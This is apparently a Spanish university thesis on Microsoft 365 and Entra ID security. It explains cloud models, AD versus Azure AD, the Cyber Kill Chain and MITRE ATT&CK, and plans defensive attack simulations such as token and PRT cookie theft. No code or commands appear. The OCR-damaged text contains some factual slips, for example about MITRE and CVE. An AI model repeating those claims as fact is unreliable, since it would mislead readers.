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Resumen del Trabajo

La finalidad de este trabajo es estudiar el nuevo ciberespacio que nos provee el SaaS (Software as a
Service) Microsoft 365 y Entra ID como proveedor de seguridad de las identidades digitales. Para
ello se va a estudiar qué principales riesgos se generan por el hecho de usar este SaaSy como
podemos mitigarlos.

Seguidamente, se van a plantear una serie de simulaciones de ataque no a la infraestructura de
Azure sino a las malas configuraciones, identidades o politicas por defecto.

Por ultimo, trataremos de analizar cémo podemos proteger la confidencialidad, integridad,
disponibilidad y legalidad de los datos de las organizaciones, para lograrlo analizaremos cuales son
las mejores medidas de bastionado y buenas practicas que podemos aplicar para bajar el nivel de
riesgo de las organizaciones que estan y sus requisitos.

Abstract

The purpose of this paper is to study the new cyberspace provided by SaaS (Software as a Service)
Microsoft 365 and Entra ID as a security provider for digital identities.

To do this, we will study what main risks are generated by using this SaaS and how we can mitigate
them.

Next, a series of attack simulations will be proposed not on the Azure infrastructure but on bad
configurations, identities, or default policies.

Finally, we will try to analyze how we can protect the confidentiality, integrity, availability, and legality
of the organizations' data, to achieve this we will analyze what are the best bastion measures and
good practices that we can apply to lower the risk level of the organizations that are and their
requirements.




Uo c gél(i:\;etrasliﬁ%‘; gberta uoc.edu
1.Introduccion

En la era digital actual, la seguridad de la informacion se ha convertido en una prioridad
para las organizaciones de todo el mundo. Con la creciente dependencia de las
soluciones basadas en la nube, como Office 365, garantizar la proteccion de los datos y la
identidad del usuario es fundamental. Office 365, una suite de productividad en la nube
de Microsoft es utilizada por millones de empresas y particulares en todo el mundo.
Aunque ofrece numerosas ventajas en términos de accesibilidad y colaboracién, también
presenta desafios Unicos en términos de seguridad.

Este trabajo se centrara en explorar las diversas estrategias y medidas que se pueden
implementar para proteger Office 365y la identidad del usuario. Abordaremos temas
como la autenticacidn, los protocolos que usa, desde un punto de vista ofensivoy
defensivos. El objetivo es proporcionar una guia completa y accesible para asegurar
Office 365y proteger la identidad del usuario en este entorno digital en constante
evolucion.

1.1 Contextualizacidn y justificacion del problema

Hace afios las licencias del producto Microsoft Office se compraban mediante un unico
pago de la licencia y carecian de actualizaciones de caracteristicas, solo valian para un
Unico dispositivo. Tampoco incluia almacenamiento online extray no sé incluia un servicio
de soporte. Con la llegada de Microsoft Office 365 el modelo de licenciamiento pasaba a
ser una suscripcidon mensual con las ventajas de que su precio permitia a particulares,
pymes, pequefias empresas y medianas empresas acceder de una manera mas sencillay
facil a toda la suite de Office365. Este cambio fue tan sumamente estratégico que Microsoft
Office dejo de ser uno de los productos mas pirateados en todo el mundo, que la mayoria
de las empresas y particulares accedieron al modelo de suscripcion.

Tras este cambio Microsoft, fue introduciendo cambios y servicios que estaban incluidos
en la suscripcion de la licencia, ya puede ser como Exchange Online, SharePoint y las
empresas comenzaron a realizar una “hibridacién” de su Active Directory para empezar a
usar los servicios que te proporcionaban la licencia. Esta sincronizacién era el primer paso
para dar acceso a los servicios, pero claro también es la que mas riesgos lleva porque el
contenedor del dato ya no era tu infraestructura, sino que Microsoft te proveia de un Azure
Active Directory, o bien, como se llama ahora Entra ID.

Por tanto, esta democratizacién del acceso a las suscripciones de Microsoft Office 365 ha
generado un nuevo contexto y ciberespacio donde existen nuevos riesgos y amenazas
donde las organizaciones se enfrentan al reto de proteger los activos digitales. Office365y
sus servicios online se convierte en un objetivo atractivo para os cibercriminales que
buscan explotar estas vulnerabilidades, configuraciones por defecto, contrasefias
débiles...con el fin de acceder a los datos confidenciales, robo de credenciales o
simplemente interrumpir procesos de negocio.
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La importancia estratégica que Office365 y Azure Active Directory son componentes de la
infraestructura tecnolédgica de muchas organizaciones. La seguridad de la identidad ya no
se limita a las fronteras fisicas que tiene una organizacion, sino que esta adopcién de la
nube implica una reevaluacién de las estrategias de seguridad para proteger las
identidades.

Dada esta complejidad técnicay las implicaciones de seguridad asociadas con el uso de
Office365y Azure Active Directory en entornos empresariales, este trabajo de investigacion
se justifica como una iniciativa para desarrollar estrategias y soluciones técnicas que
aborden los desafios especificos de la proteccidon de la plataforma y gestion de la
identidad, con el fin de fortificar la seguridad de los datos corporativos y garantizar la
seguridad de los empleados en el acceso a la informacién.

Recientemente Microsoft renombro sus productos y actualizo ambos brandings pasandose
a llamar Microsoft 365 para office y Entra ID.

1.2 Objetivos del trabajo

El principal objetivo de este trabajo de fin de grado es investigar y desarrollar estrategias
efectivas para proteger la infraestructura de Office365y Entra ID, mediante la identificacion
de riesgos y vulnerabilidades e implementaciones de medidas de seguridad efectivas con
el fin de fortalecer la seguridad informatica en entornos corporativos.

Con el fin de completar el objetivo principal, se proponen los siguientes objetivos
operativos especificos:

e Identificar requisitos y procesos de implementacion de Office365.

e |dentificar los protocolos de autenticacion de Office365 y Entra ID.

e Estudiar las herramientas y técnicas para el pentesting contra Office365.

e Conocer coOmo crear persistencia en este entorno cloud.

e Realizar una serie de ataques controlados como externos contra Office365 para
obtener informacién de un tenant.

e Securizar mediante buenas practicas el tenant de Office365 y Entra ID.

Hay muchos aspectos para tener en cuenta, como los diferentes servicios que provee
Office365, asi como sus diferentes centros de administracion y politicas, herramientas y
tecnologias de las que se haran uso en este trabajo, por ello sera necesario establecer un
maximo nivel de detalle en el objetivo principal del proyecto. Es por ello qué se intentara
establecer cierta universalidad a la hora de analizar el resto de los objetivos, con el Unico
fin de asegurar acabar el trabajo segtn la planificacién.

Por ejemplo, no se entrard en los centros de administracion de aplicaciones Office365 tales
como SharePoint, Teams, que tienen como objetivo proteger el dato y la identidad de los
usuarios del tenant en base a configuraciones seguras, ya que esto no estd dentro el
objetivo principal. Aunque en algun momento del trabajo, si se enlazara ciertas
parametrizacionesy esto relacionara de manera indirecta a estos aplicativos.
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1.3 Enfoque y método seguido

Este proyecto esta dirigido para toda aquella organizacidon que usan Office365 y Azure
Active Directory y no se han parado a analizar los riesgos que supone tener hibridada la
organizacion con la puerta de entrada en Azure. Entendemos que el modelo de seguridad
de los datos en Azure y Office 365 es un modelo compartido y que la seguridad de la
infraestructura la pone el fabricante, pero la seguridad del dato es funcion de los clientes.

En la primera fase entrada se investigaran de manera tedrica el concepto de identidad,
protocolos, killchainy servicios de ataque contra Office365 y Azure Active Directory.

En la segunda fase de desarrollo, se analizara cdémo podemos explotar y conseguir
informacidn de una organizacién como un externo de una organizacion ficticia.

Por ultimo, en la fase de conclusién estaremos en la fase de implementacién de cuales son
las mejores practicas en cuanto a seguridad sin tener el mayor nivel de licenciamiento de
Microsoft.

La metodologia utilizada para la realizacidon de este proyecto es en cascada. Tenemos un
diseno secuencial y cada fase no empezara hasta que la anterior no haya finalizado.
Aunque en algun caso si se pueden solapar por la propia indole de las tareas. Se han
establecido puntos de control cada mes practicamente con el director del proyecto.

1.4 Impacto en aspectos de sostenibilidad, ética y diversidad

En el mundo interconectado de hoy, la ciberseguridad se ha convertido en un pilar
fundamental para garantizar la integridad, disponibilidad, confidencialidad y legalidad de
la informacién. Sin embargo, al abordar la ciberseguridad, especialmente en entornos
como Office 365y Azure AD, es esencial considerar su impacto en aspectos de
sostenibilidad, éticay diversidad.

1.4.1 Comportamiento ético y responsabilidad social.

En este apartado se ha obtenido un impacto positivo, puesto que ayuda a las
organizaciones de todo el mundo a mantener uno de los pilares de la seguridad como la
privacidad de los datos y el cumplimiento normativo, dotando a las empresas de la
posibilidad de implementar unas politicas de privacidad con el fin de proteger el dato.
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1.4.2 Sostenibilidad

En esta dimension se ha obtenido un impacto positivo, puesto que se la reduccién del
consumo energético y la gestion de los recursos. Para ello Office365 y Azure permite a las
empresas reducir su huella de carbono al optimizar el uso de los servidores y recursos
informaticos de Microsoft. La migracion de algunos servicios cloud como Exchange
Online para el servicio del correo electronico, almacenamiento personal como OneDrive,
como el almacenamiento para la empresa SharePoint, sistemas de mensajeriay
comunicacién Teams ayuda a contribuir la sostenibilidad ambiental y reducen el
consumo energético asociado a los servidores on-premise. Aunque este consumo se
traslada a la nube, la reutilizacién de recursos energéticos para miles de clientesy el
compromiso de Microsoft obteniendo el Gold LEED, que es una certificacion de los
Centro de Procesamiento de Datos (CPD) que hace que sean mas sosteniblesy
ecoloégicos. Esto es un claro beneficio medioambiental.

(Microsoft, 2017)

1.4.3 Diversidad, género y derechos humanos

En esta dimension de diversidad, género y derechos humanos se obtiene un resultado
positivo, puesto que la democratizacién de los precios y el acceso a la tecnologia de
Microsoft Office365 y Azure Active Directory hace que paises poco desarrollados también
puedan acceder a esta tecnologia y dispongan de una experiencia positiva e inclusiva.
Ademas de todo esto, Office365 incluye una serie de facilidades para que personas con
diversas discapacidades puedan usar Office365 sin barreras. Algunos ejemplos de ello
son lectores de pantalla o diversas funciones de accesibilidad.
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Finalmente se responderan las cuestiones planteadas por el profesorado.
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18/05/2024
16/05/2024
17/05/2024
18/05/2024
19/05/2024
21/05/2024
22/05/2024
23/05/2024
23/05/2024

25/05/2024
26/05/2024
31/05/2024
11/06/2024
18/06/2024

28/06/2024
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1.6 Cronograma del trabajo
Programacion 10 20 30 40 10 20 30 40 10 20 30 40 10 20 30 40
Marzo | Marzo Marzo Marzo Abril Abril Abril Abril Mayo Mayo Mayo Mayo Junio Junio Junio Junio

Tareas

Definir contexto y justificacion

Definir objetivos

Definir el impacto en sostenibilidad,
ético-social y diversidad

Elaborar el cronograma de hitos y tareas

Definir los contenidos del proyecto

FASE ENTRADA

Entrega PEC1

Conceptos basicos cloud

¢:Qué es el Cyber Kill Chain?

Modelo de datos compartidos

¢Cuales son los accesos administrativos
de Azure AD?

FASE DESARROLLO

Entrega PEC2

Investigacion herramientas hacking

Preparacién del entorno

Enumeracion recursos

Robo Access Token

Acceso al PTR

Robo PTR Cookie

Conclusiones

FASE CONCLUSION

Entrega PEC3

OSINT para enumerar

Herramientas para auditar AzureAD y
Office365

Implementar Conditional Access

Ver los eventos y log de Azure AD

Medidas de seguridad Azure AD

Repaso General TFG

Entrega PEC4

Grabacion del video PEC5

Defensa TFG PEC6
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1.7 Estado del arte

Para la realizacién de este trabajo de fin de grado se ha buscado informacién general en
Internet con el fin de recopilar cuales son las buenas practicas para proteger una
organizacion que tenga Office365 y Entra ID, que ataques se pueden realizary como se
puede obtener informacidon como externo y cuales son las mejores practicas de seguridad
frente a los cibercriminales.

Ademas, se hemos obtenido acceso a diversas guias de referenciay listado de normas
que nos permite proteger Office 365 como Azure.

Las guias existentes son: CIS Azure, CIS Office365, y guias ENS 884, 885 [A, B, C, D], CISA
Scuba Gear E3 0 E5 y por ultimo Azure AD Assesment.

Aunque en todas las fases de este proyecto trabajaremos sobre un tenant verdadero de
una empresa ficticia, esto nos dara la visibilidad real de como las configuraciones por
defecto que nos trae Microsoft, son mejorables en cuanto a seguridad se refiere.

Asimismo, se va a convocar reuniones con Microsoft MVP (Most Value Professional)
relacionados con el mundo de la seguridad y en esas sesiones vamos a obtener numerosa
informacién de como funciona Office365 y Azure AD, la cual se intentara explicar de la
mejor manera en este trabajo.

Durante el desarrollo del este trabajo todas las informaciones consultadas estan
indicadas como cita en cada una de las investigaciones, andlisis, implementacidony
anexos de referencias.

(Center for Internet Security® 2024) (Center for Internet Security®, 2024) (Centro
Criptologico Nacional, 2024) (Cybersecurity and Infrastructure Security Agency, 2023)
(Microsoft, 2023)
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2. Fase de investigacion

2.1 Conceptos basicos Cloud

Primeramente, antes de pasar a analizar los riesgos en una infraestructura moderna de
una compania, hay que explicar el concepto de nube publica y sus caracteristicas mas
destacables.

La nube o cloud en su forma mas primitiva hace referencia a los servidores ubicados en
proveedores externos que son accesibles a través de internet. Se trata de un modelo de
aprovisionamiento de computacion en la nube que permite a los clientes alquilar
servidores virtuales, almacenar datos, aplicaciones de terceros y nos ofrece una
flexibilidad y escalabilidad de los sistemas.

Esta nube publica trabaja sobre un modelo de computacién que ya se viene usando en los
entornos on-premise llamado virtualizacién. Este modelo permite la utilizacién de los
servidores fisicos para crear maquinas virtuales y con ello conseguir una eficiencia de los
recursos, gestion mas simple de las maquinas virtuales, una mayor rentabilidad al utilizar
al maximo la capacidad del hardware y, por ultimo, una mayor rapidez y agilidad en creary
desplegar maquinas virtuales.

Una vez explicado esto, entendemos que esta computacion en la nube existe diferentes
tipos de servicios e infraestructuras dependiendo de las necesidades de las
organizaciones. Para ello es muy importante saber entender y diferenciar el modelo de
cloud computingy los riesgos que conlleva cada tipo de implementacion de nube. Los
modelos de implementacion de cloud computing son:

e laaS (Infraestrucutre as a Service) Infraestructura como servicio
Este tipo de servicio ofrece los recursos fisicos de cémputo, almacenamiento y
redes a demanda. Seria el concepto similar servidor local sin gestion del
mantenimiento fisico de los componentes.

e PaaSs (Plataform as a Service) Plataforma como servicio
Este tipo de plataforma ademas de incluir la parte de laaS incluye la parte
software ya preparado para usar por lo que los usuarios se puedes abstraer de la
parte de la infraestructura. Algunos de estos casos son como marcos de
desarrollo, herramientas que permiten realizar analisis de negocio...

e SaaS (Software as a Service) Software como servicio
Este tipo de soluciones integrales dan la solucidon de manera completa a sus
usuarios mediante Internet. Aqui el proveedor de servicios administra tanto el
hardware como el software y el coste de iniciacién del servicio es minimo. Algunos
ejemplos serian Office365, plataformas de comercio electrénico tipo Shopify que
permite creary administrar tiendas en linea...
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SaaS

PaaS

laaS
| |

[ & 65 o 0

Hosted applications Development tools, database Operating systems Servers and storage Networking firewalls / security Data center physical plant /

management, business building
analytics

Ilustracion 1: Diferencia entra SaaS, PaaS, laaS (Microsoft, 2024)

2.1.1 Responsabilidad compartida en el cloud

Entendido este modelo de implementaciones es importante considerar los modelos de
responsabilidad compartida que conlleva cada una de ellas, y que implicaciones de
seguridad administra el proveedor y cuales administra la empresa. En cualquier caso, de
implementacion el propietario de la informacion y los datos, dispositivos que se conectan
aellos, cuentasy las identidades es tarea de la empresa que contrata el servicio. En esta
ilustracion se pude ver mas claramente:

=]
T

Responsibility SaaS

Information and data

Responsibility always ] .
retained by the customer Devices (Mobile and PCs)
Accounts and identities

Identity and directory infrastructure

Responsibility Applications
varies by type Metwork controls
Operating system

Physical hosts
Responsibility transfers

to cloud provider Physical network

FFFEI I AHEN
L NN [
FEFEEEEEEN :
ENEEEEENEN:

Physical datacenter

B Microsoft . Customer ‘Shared

Illustracion 2: Tabla responsabilidad corporativa (Microsoft, 2023)

2.1.2 ;Qué es Microsoft 3657?

Microsoft 365 es un servicio de suscripcidon basado en el acceso varias aplicaciones de
escritorio, asi como servicios basados en la nube tipo SaaS. Esta suscripcion a Microsoft
365 pretende aumentar la productividad, facilitar el trabajo colaborativo, proporcionando
herramientas que permitan a los usuarios trabajar desde cualquier lugar con una
conexién a Internet. Este el servicio de suscripcion a Microsoft 365 siempre tendremos las
versiones mas actualizadas y recientes que Microsoft vaya liberando al mercado.
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Por concluir, este aplicativo es multiplataformay es accesible desde tanto en
ordenadores, dispositivos méviles o directamente via web.

2.1.3¢:Qué es EntraID?

Entra ID o Azure Active Directory es el servicio de administracién de identidades y acceso
basado en Azure. Permite que los empleados, usuarios, invitados externos puedan
acceder a los recursos internos o externos de una organizacion. También ofrece
herramientas para proteger las identidades y credenciales de los usuarios para cumplir
con los requisitos del gobierno del dato.

HR systems

Microsoft Entra ID

External identities

T T

Workload identities

On-premises apps Active Directory

Illustracion 3: Diagrama Microsoft Entra ID (Microsoft, 2024)

2.1.4 ;Como se relaciona Microsoft 365y Entra ID?
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Ilustracion 4: Microsoft Cybersecurity Reference Architectures (Microsoft, 2024)
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Este diagrama, Microsoft describe como es la arquitectura a nivel de ciberseguridad y las
capacidades de cada area.

Si empezamos a describir el diagrama desde el centro, vemos que la mayoria de las
organizaciones operan en un entorno multiplataforma mediante servidores Windows y
Linux en los CPD. La mayoria de estas arquitecturas comienzan la seguridad con un
firewall perimetral para proteger los recursos desde la extranet/intranet.

Estos accesos se lograban mediante dispositivos y estos dispositivos eran gestionados
bajo politicas de grupo del Active Directory y la seguridad de las cuentas también
dependian de Active Directory.

Las empresas empezaron a adoptar la nube como SaaSy la primera aplicacion suele ser
Office 365 para el correo electrénico o a veces G Suite. Esta tendencia continua hoy con
la adopcidn de la IA generativa como ChatGPT, Microsoft Copilot o Google Bard. Esto
genera una necesidad de control de acceso mas alla del firewall perimetral, se requiere
utilizar identidades seguras en la nube. Esta identidad juega un papel muy importante en
las estrategias de control de acceso.

Muchas organizaciones ya han implementado las identidades Unicas e inicios de sesion
Unico a todo su patrimonio empresarial con Entra ID durante la implementacién de
Office365, puesto que este conecta al sistema de identidad existente a través de Active
Directory.

Con toda esta arquitectura podemos decir que Entra Id es el proveedor de seguridad de
Office365, aunque no se limite a solo esto, taly como hemos visto.

2.1.5 ;Qué diferencia Azure Active Directory versus Active Directory?

Ambos dos sistemas son soluciones de administracién de identidades de Microsoft, pero
tienen propdésitos diferentes.

Active Directory (AD) es un rol del sistema operativo Microsoft Windows Server es usado
para administrar usuarios, ordenadores y recursos basados en red. Fue lanzado al
mercado en Windows 2000 y desde entonces ha sido el producto core de identidad como
solucion de la mayoria de las empresas. AD almacena informacién de usuarios, cuentas
de equipo, datos de autenticacién y autorizacién y por ultimo politicas de seguridad
(Group Policy) que permite a los administradores crear determinadas configuraciones a
los usuarios de un dominio.

Azure AD provee las mismas caracteristicas que AD, sin embargo, esta disefiado para
trabajar en el cloud y con aplicaciones y servicios que no requieren un controlador de
dominio. A menudo, Azure AD provee de inicio de sesién Unico (Single Sign On) a los
usuarios de un tenant, funcionando como un proveedor de identidades (/dentity Provider)
para aplicaciones SaaS.

Esto nos lleva a comparar los conceptos ya conocidos del AD, como se diferenciany
trabajan en Azure AD:
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Active Directory Azure Active Directory
LDAP REST API’s

NTLM / Kerberos OAuth/SAML/OpenlD...
Structured Directory (OU Tree) Flat Structure

GPO’s No GPO’s

Super fine-tuned acces controls Predefined Roles
Domain/Forest Tenant

Trusts Guests

Expliqguemos sus diferencias para entrar mas en el concepto de Azure Active Directory
comparandolo con Active Directory.

Cuando por ejemplo en Azure, le decimos que queremos crear un usuario, o por ejemplo
iniciar una maquina virtual, lo que vamos a utilizar es la capa 7 del modelo OSI, mediante
HTTP, no sobre LDAP. Si explorasemos mediante WireShark estas peticiones no
podriamos ver trafico LDAP ni tampoco SMB, solo veriamos trafico TLS, porque la APl se
encuentra cifrada.

En Active Directory cuando se produce una autenticaciéon normalmente veriamos trafico
NTLM o Kerberos, aunque existe algun protocolo mas, pero estos serian los principales.
En cambio, en Azure AD los protocolos son OAuth, SAML, OpenlD...

Mientras que en AD teniamos una estructura arbolada donde podiamos organizar todas
las OU (Unidades Organizativas) por ejemplo, para segregar departamentos, sedes,
equipos de trabajo, entre otros. Mientras que, en Azure Active Directory tenemos una
estructura plana.

En AD teniamos politicas de grupo (GPO) pero en Azure AD no existen como tal. Si existen
herramientas como Microsoft Intune para crear politicas, pero estas no estan
contempladas en Azure AD, sino que se licencia de forma separada.

En AD teniamos controles de acceso a los objetos, por ejemplo, teniamos una carpeta a
la que podriamos indicarle los permisos si se podia leer, escribir o eliminar..., y en cambio
ahora en Azure AD tenemos roles con permisos.

En AD teniamos un bosque con un/varios dominios en cambio, en Azure Active Directory
disponemos de uno o varios tenant.

En AD teniamos relaciones de confianza entre varios dominios que permitian el acceso
desde otros dominios y en Azure AD tenemos invitados.

En relacién con la seguridad de ambos sistemas, podemos decir que el protocolo de
autenticacion Kerberos, el cual esta basado en los usuarios, servicios o aplicacionesy un
Key Distribution Center (KDC) se puede atacar de distintos modos para obtener la
informacién de usuarios, suplantarlos o robar las credenciales de un controlador del
dominio. Existen numerosos ataques al protocolo dentro de un AD, tales como Over The
Hash, Pass the Key, Pass The Ticket, Golden o Silver Ticket, Kerberoastaing, ASPEPRoast.
(Tarlogic, 2019)

Elhecho de tener un AD implica tener una gran superficie de ataque, que requiere tener
un gran control de deteccion, tener politicas de seguridad que permitan evadir estos
ataques y mitigarlos. Es importante ser consciente de que los cibercriminales van a
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buscar el AD de la organizacién para conseguir sus objetivos. La deteccién de estos
ataques no es algo sencillo, requiere un nivel de madurez y conocimiento de la
infraestructura y Threat Intelligence muy alto para auditar o trazar los movimientos que se
producen en el AD. Muchas empresas se centran en fortificar el perimetro de laredy
olvidan la fortificacidon de esa pieza clave. Podemos concluir que un AD puede estar bien
configurado y no presentar vulnerabilidades en materia de seguridad y aun asi se puede
hackear con éxito.

2.1.6 ;Qué es Azure AD Domain Services?

Por terminar de contextualizar las opciones de Azure AD, en los anteriores puntos hemos
hablado de que era Office 365, Azure AD y por ultimo nos faltaria entender que significa
Azure AD Domain Services y volver a compararlo con los otros dos para entender sus
caracteristicas.

Azure Active Directory Domain Services en pocas palabras es el controlador del dominio
en la nube. Es un SaaS que nos provee Microsoft para poder usar un DC (Domain
Controller) en la nube, esto lo que nos permite es usar los protocolos de autenticacién
que teniamos en Active Directory como NTLM, Kerberos, pero en entorno cloud. Domain
Services se integra con Azure AD y esto permite a los usuarios iniciar sesién en los
servicios y aplicaciones que estaban conectadas al AD. Ademas, también nos permite
usar las caracteristicas generales como las politicas de grupo o unir al dominio.

Es decir, esto no es un laaS como podria entenderse de tener un controlador de dominio
en una infraestructura publica al cual vamos a promocionarlo, vamos a tener que
administrarlo, mantenerlo, instalar sus parches de seguridad.

Si comparasemos las caracteristicas técnicas de las tres tecnologias nos quedaria un
cuadro como este:

Azure AD Domain
Services

Features Active Azure
Directory AD

Extensible Schema v
Group Policies v

User
Created
Kerberos, LDAP, NTLM Support o

OAuth, SAML, OpenlID Support ()

Dedicated Servers v
Cloud Based laaS Only

Domin/Enterprise Admin v
Domain/Forest Trust v

Sintetizando en el caso de una suscripcion de Office365 automaticamente tendremos
Azure Active Directory. Si nosotros hibridamos o sincronizamos nuestro Active Directory
contra Azure Active Directory, es decir, los objetos que tenemos en huestro entorno on-

v
(Ldap Read Only)

v

O < 00
<

OO <
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premise se volcara una copia en Azure AD. En ninguno de estos casos Microsoft nosva a
poner un DC en la nube ya que es otro servicio aparte y tiene un coste independiente.

2.2 ;Qué es el Cyber Kill Chain?

En la seccidn anterior, hemos examinado en detalle los sistemas de Active Directory y
Azure Active Directory. Estos sistemas son componentes esenciales en la infraestructura
de Tl de una organizacidn, proporcionando una plataforma para la gestion de identidades
y accesos. Permiten a las organizaciones controlar de manera efectiva quién tiene acceso
a qué recursos dentro de la red, y como se otorga y se revoca ese acceso.

Sin embargo, como con cualquier sistema tecnolégico, Active Directory y Azure Active
Directory no estan exentos de vulnerabilidades. Los actores malintencionados pueden
buscar explotar estas vulnerabilidades para obtener acceso no autorizado a los recursos
de lared. Esto puede incluir intentos de obtener credenciales de usuario, explotar
debilidades en la configuracién del sistema, o aprovechar las vulnerabilidades de
seguridad en el software que se utiliza para administrar estos sistemas.

Es en este contexto de potenciales amenazas y vulnerabilidades donde el concepto de la
Cyber Kill Chain se vuelve relevante.

El modelo de Cyber Kill Chain (cadena de exterminio de la ciberseguridad) fue
desarrollado por los analistas Lockheed Martin Corporation (Lockheed Martin
Corporation, 2024), fabricante de la industria aeroespacial y militar, derivado de esta
industria basado en los modelos de ataques militares fue trasladado al entorno digital,
con el fin de comprender, detectar, y prevenir cualquier tipo de ciberamenaza.

Este modelo esta dividido en varias etapas y cada una relacionada con un tipo de
actividad en la fase del ciberataque. Cada fase de la etapa del ataque es una oportunidad
para detectar, reconocery defenderte del ataque. Las etapas del ataque son:

Reconocimiento

Instalacion

Comando y control

Acciones sobre los objetivos

llustracion 5:Etapas Cyber Kill Chain (Incibe, 2020)

La primera fase de reconocimiento principalmente trata de reunir informacién sobre el
objetivo. Aqui se emplean una amplia variedad de herramientas y técnicas para recopilar
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informacién algunos de ellos son: motores de busqueda, archivos web, servicios publicos
en la nube, registros de dominio, rastreo de red, escaneo de puertos...

En la fase de preparacién una vez que los ciberdelincuentes hayan reunido suficiente
informacion, se prepara el medio para lanzar el ataque para iniciar la intrusion. Lo légico
es que los atacantes usen todos los puntos de entrada y que obtengan la menor
resistencia. Algunos ejemplos de estas técnicas son: Ingenieria social, ataques man in the
middle, atacantes internos (insiders), errores de configuracién del sistema...

En la etapa de distribucidn se lanza el ciberataque que se haya preparado, por tanto, aqui
entra en juego las medidas que tenga una empresa para detectarlo.

En la explotacion dependiendo del ataque elegido, estariamos hablando ante un equipo,
un servidor, una aplicacion... que se encuentra infectado mediante una bomba ldgica.
Estas bombas logicas, muchas veces incluyen una capa de ofuscacion para ser invisibles
ante cualquier defensa de la empresa.

Durante la instalacion, si los delincuentes ven facil realizar ataques en el futuroy
controlar la empresa, intentaran instalar un backdoor, una puerta trasera, para poder
moverse dentro y fuera de la red sin correr riesgo de deteccioén.

En la pendltima fase Comando y control, también mas conocida como C&C (Command
and Control) una vez instalada las puertas traseras y con acceso, controly ejecucion de
los sistemas, los ciberdelincuentes llevaran a cabo cualquier accidon maliciosa desde
tomar el control del AD, tomar capturas de pantalla para llevarse informacion
confidencial, ver como es la red de la empresa...

La ultima etapa, acciones sobre los objetivos, los delincuentes podran realizar un
cifrado de los datos, pedir un rescate econdmico para recuperar la documentacioén de la
empresa, filtrar sus datos al exterior con el fin de extorsionar y lograr su beneficio, que nos
denuncien ante los organismos competentes AEPD (Agencia Espanola Proteccion de
Datos) por vulnerar los datos de nuestros clientes, proveedores, extorsionary vigilar a la
persona que tiene el poder en la empresa para realizar el pago del rescate...

En definitiva, acabamos de ver las fases de un ciberataque y ver como se produce paso a
paso.

2.2.1 ;Qué es MITRE ATT&CK?

MITRE ATT&CK es una organizacion sin animo de lucre que nace en 1958 en el MIT
(Massachussett Institute of Technology) financiada por el gobierno de los Estados Unidos.
Su objetivo es proveer al gobierno de los Estados Unidos pasos que se usan con
tecnologia avanzada en asuntos federales. Fueron los primeros en registrar “.org” como
sitio para un dominio (https://www.mitre.org).

En 1999 crearon los CVE (Common Vulnerabilities and Exposures), que es el sistema para
identificar vulnerabilidades en el mundo de la ciberseguridad, enumerando en una escala
el nivel de amenaza que supone. (MITRE, 2024)
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En 2015 lanzan MITRE ATT&CK es una base de conocimiento que contiene tacticas,
técnicas que se producen en los ciberatagues. Con el objetivo de desarrollar una
ciberseguridad efectiva a cualquier organizacion sin ningun tipo de coste.

Estos comportamientos de los atacantes se organizan en una serie de tacticas o técnicas
segun unos determinados objetivos. El enfoque es entender como un delincuente
prepara, lanza o ejecuta un ciberataque.

Estos comportamientos se relacionan con CIT (Cyber Threat Intelligence) para reconocer
a grupos conocidos de delincuentes de APT (Advanced Persistent Threat).

Las tacticas describen las infinitas técnicas que un delincuente puede utilizar en
diferentes métodos, con diferentes herramientas de pentesting para hackear un sistema.

Segun esto realizan dos tipos de analisis muy completos y los ponen a disposicion de
todo el mundo. Los anélisis de comportamientos de ataques y los analisis de la
taxonomia de ataque, mas conocidos por Kill Chain.

Por eso, MITRE nos va a proveer una fuente de informacion legitima en cuanto a las Kill
Chain, usada por casi todos los fabricantes del mundo a nivel de ciberseguridad, en los
cuales vamos a poder correlacionar las etapas de los ataques que se puedan producir en
una organizacion.

(MITRE, 2024) (Checkpoint, 2015)

2.2.2 ;Cual es el Kill Chain de Azure AD segun MITRE?

Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Discovery Impact
1 techniques 2 techniques 4 techniques 4 techniques 4 techniques & techniques 5 techniques 2 techniques

valid Accounts (2 dm Acce nipulation (3 levation Control
sm

al of

sunt Manipulation (3

Software Discovery

ifica

Uns ed Credentials

Ilustracion 6: KillChain Azure AD (MITRE, 2024)

Tras estudiar cuales son las fases de un ataque a las plataformas de Office365y Azure AD,
podemos determinar que en ambos casos el acceso inicial pasa por conseguir unas
cuentas validas. Seguidamente vamos a realizar una ejecucion de comandos para ver
cuales son las puertas para entrar a Azure AD. Vamos a intentar que métodos tenemos
para crear persistencia. Una vez creada la persistencia del usuario, vamos a ver la
identidad que hemos conseguido vamos a intentar hacerle un usuario con mas poderes
dentro de la organizacién escalando privilegios. Intentaremos evadir las defensas para
no ser detectados. Los ultimos pasos seran buscar credenciales validas y descubrir
todo lo que tenemos en Azure AD y para finalmente realizar el impacto.
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2.2.3 ;Cual es el Kill Chain de Office365 segun MITRE?

Initial Access Execution Persistence Privilege Defense Evasion Credential Discovery Lateral Collection Exfiltration Impact
Escalation Access Movement

3 techniques 2 techniques 6 techniques 4 techniques 8 techniques 7 techniques 5 techniques 3 techniques 3 techniques 2techniques 4 techniques

Phishing n A Abuse Elevation
¥y . control

Abuse Elevation
Control
Mechanism

Brute Force (4 Internal Data from Cloud
Storage
Mechanism Forge Web

Credentials (1

Data from
Information
Repositories

Account Hide Artifacts

Manipulation (3

Impair
Event Triggered Defenses (1
Execution

Ema

Collection (2

Financial
Theft

Modify
Authentication
Proce

Impersonation

Valid Accounts (z;

Indicator
Removal (1

Valid Accounts ()

Authentication
Material ¢z

Valid Accounts ¢z

llustracion 7: KillChain Office 365 (MITRE, 2024)

Segun MITRE el acceso inicial a Office365 se produce mediante unas cuentas validas,
relaciones de confianza o mediante un phishing. Pero realmente si nos paramos a pensar,
cuando un usuario se valida en alguna aplicacion de Office365 el proveedor de
identidades no es Office365 sino Azure AD. Por tanto, cuando entremos a Office365
estaremos también entrando a Azure AD. Ejecutaremos comandos para obtener
informacidn del tenanty crearemos diferentes persistencias dentro de Office365.
Evadiremos las defensas que existan, seguiremos buscando credenciales y accesos,
usando técnicas de descubrimiento, intentaremos movernos lateralmente con el fin de
conseguir el mayor numero de informacién confidencial y exfiltrarla para lanzar el
ataque final y generar un impacto.

2.2.4 Analisis Kill Chain Azure AD

Finalmente podemos resumir el Kill Chain de Azure AD en roles que existen en Azure AD y
cémo se comportan. Por lo general, los atacantes suelen ser externos a la organizaciony
quieren obtener un rol de invitado, ser un usuario interno o0 mejor un usuario con
privilegios de administracién del tenant. Es decir, lo primero que buscan es una cuenta
valida como, no tienen contrasefa, necesitan ese acceso inicial taly como hemos visto
en MITRE. Una vez ya tenemos credenciales validas el objetivo es hacerse con el Global
